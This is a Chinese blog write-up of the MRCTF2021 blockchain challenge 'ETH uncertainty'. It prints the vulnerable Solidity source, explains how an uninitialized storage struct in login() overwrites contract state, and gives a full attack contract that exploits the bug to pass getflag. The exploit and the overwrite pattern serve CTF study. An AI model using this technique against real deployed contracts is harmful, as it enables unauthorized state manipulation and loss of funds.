MRCTF2021 ETH uncertainty

前言

昨天前天遇到的区块链题目有有些远超我目前的能力范围了,因此做的非常难受,决定先扔了,循序渐进,不好高骛远。突然想到MRCTF2021的那2道区块链自己还没有去复现,昨天想着去复现,今天发现MRCTF的站关了。。。利用着大师傅的WP上面的记录,找到了目标合约,进行复现。不过这题本身是没有给源码的,是需要逆向的,奈何我源码都读了几遍了才知道。。。没办法就直接拿着源码来复现叭。这题的难点其实还是逆向,直接看源码的话就会简单许多。

WP

源码:

pragma solidity ^0.4.17;

interface merak {
    function Merak(uint) view public returns (bool);
}

contract unlock{
    uint win;
    address owner;
    bool public winned;

    constructor() payable {
        owner = msg.sender;
        winned = false;
    }

    function getaddress()public returns(address) {
        return address(this);
    }
}

contract flag { // first contract

    address public owner;
    mapping(uint256=>bool) is_successful;

    constructor() payable {
        owner = msg.sender;
    }

    function getaddress() public returns(address) {
        return address(this);
    }

    function getflag() public payable {
        challenge A = challenge(owner);
        require(A.gettingflag());
        is_successful[uint256(challenge(owner).tt())] = true;
    }
}

contract ez{
    uint win;
    address public owner;
    bool public success;

    constructor() payable {
        owner=msg.sender;
    }

    function getaddress() public returns(address) {
        return address(this);
    }

    function betting(uint ss) public payable {
        address target = challenge(owner).tt(); // set tt to hacker address
        merak hack = merak(target);
        if(!hack.Merak(ss)){ // 123 returns 0
            win = ss;
            success = hack.Merak(win); // 123 return 1
        }
    }
}

contract challenge{
    address public target1; // 0  a -> control
    address public target2; // 1
    uint256  length;        // 2  c -> control
    address public tt;      // 3
    bytes32[] public a;     // 4
    uint256 meiyong;        // 5
    address public target3; // cannot overload
    unlock A;
    flag B;
    ez C;

    struct edge {
        uint256 loginid;    // 0
        uint256 time;       // 1
        uint256 maybe;      // 2
        uint256 val;        // 3
        address logined;    // 4
    }

    constructor() payable {
        A=(new unlock).value(0.0001 ether)();
        B=(new flag).value(0.0001 ether)();
        C=(new ez).value(0.0001 ether)();
        target1=address(A);
        target2=address(B);
        target3=address(C);
    }

    function login(uint256 a, uint256 c) public payable { // call login to overwrite target1
        edge temp;
        temp.loginid = a;
        temp.time = now%1000;
        temp.maybe = c;
        temp.val = msg.value;
        temp.logined = msg.sender;
        tt = msg.sender;
    }

    function getaddress()public {
        target1=A.getaddress();
        target2=B.getaddress();
        target3=C.getaddress();
    }

    function pop() public {
        require(msg.value==0.1 ether);
        length--;
        for(uint256 i=0; i<=length; i++)
            a[i]=a[i+1];
        msg.sender.call.value(msg.value)();
        require(length>=0);
    }

    function push(bytes32 num) public {
        length++;
        require(msg.value==0.1 ether);
        msg.sender.transfer(msg.value);
        for(uint256 i=length; i>=1; i--) {
            a[i]=a[i-1];
        }
        a[0]=num;
    }

    function revise(bytes32 tt,uint256 len)public {
        require(len<=length, "not enough");
        a[len]=tt;
    }

    function gettingflag() public returns(bool) {
        ez(target3).betting(123);
        if (ez(target3).success() == true && unlock(target1).winned() == true)
            return true;
        else 
            return false;
    }
}

一共四个合约,当时题目放出的是flag合约的地址。先把源码认真审几遍,理清楚代码的整体意图。想要获得flag,需要这样:

    function getflag() public payable {
        challenge A = challenge(owner);
        require(A.gettingflag());
        is_successful[uint256(challenge(owner).tt())] = true;
    }

看一下gettingflag()

    function gettingflag() public returns(bool) {
        ez(target3).betting(123);
        if (ez(target3).success() == true && unlock(target1).winned() == true)
            return true;
        else 
            return false;
    }

暂时放一下,看一下challenge。首先就是这里很明显的未初始化的结构体,可以覆盖:

    function login(uint256 a, uint256 c) public payable { 
        //未初始化的结构体,从slot0开始覆盖
        edge temp;
        //target1由a控制
        temp.loginid = a;
        temp.time = now%1000;
        //uint256  length由c控制
        temp.maybe = c;
        //address public tt由msg.value控制
        temp.val = msg.value;
        //bytes32[] public a的长度由msg.sender决定,这会变得很长。
        temp.logined = msg.sender;
        //tt本来由msg.value覆盖,现在又被msg.sender覆盖。
        tt = msg.sender;
    }

target1是我们可控的,可以控制为我们自己构造的一个恶意合约,在gettingflag()函数的这里:unlock(target1).winned() == true,可以非常轻松的满足。
再看一下这里:

        ez(target3).betting(123);
        if (ez(target3).success() == true
    function betting(uint ss) public payable {
        //address public tt;
        address target = challenge(owner).tt(); 
        //
        merak hack = merak(target);
        if(!hack.Merak(ss)){ 
            win = ss;
            success = hack.Merak(win); 
        }
    }

这个merak合约来自challenge的tt,同样会收到上面那个覆盖的影响:

tt = msg.sender;

因此在攻击合约里写一个Merak函数即可,第一次返回false,第二次返回true。
理清了,直接攻击即可:

pragma solidity ^0.4.17;

contract unlock{
    bool public winned = true;
}   

interface challenge{
    function login(uint256 a, uint256 c) external payable ;
    function getaddress() external ;
    function pop() external ;
    function push(bytes32 num) external ;
    function revise(bytes32 tt,uint256 len) external ;
    function gettingflag() external returns(bool) ;
}
interface flag {
    function getflag() external payable ;
}

contract Feng {
    bytes32 public location = keccak256(abi.encodePacked(uint(this), uint(1)));
    challenge constant private target = challenge(0xDb8d039189547D4a7766912503d101FEE7bb1c7f);
    unlock public c1  = new unlock();
    uint256 public a = uint256(address(c1));
    flag constant private flagTarget = flag(0x47b9bdCFFCC6bb1851442E5e9dacCBE6F84C1841);
    bool public merakFlag = false;
    function Merak(uint) view public returns (bool){
        if(merakFlag == true) return true;
        merakFlag = true;
        return false;
    }
    function attack() public {
        target.login(a,2**256-1);
        flagTarget.getflag();
    }
}

这个location是计算了flag合约中mapping(uint256=>bool) is_successful;,我们的恶意合约在storage中存储的位置,攻击之后如果不确定,可以再利用web3.js来查看一下这个量,看看是不是true:
在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值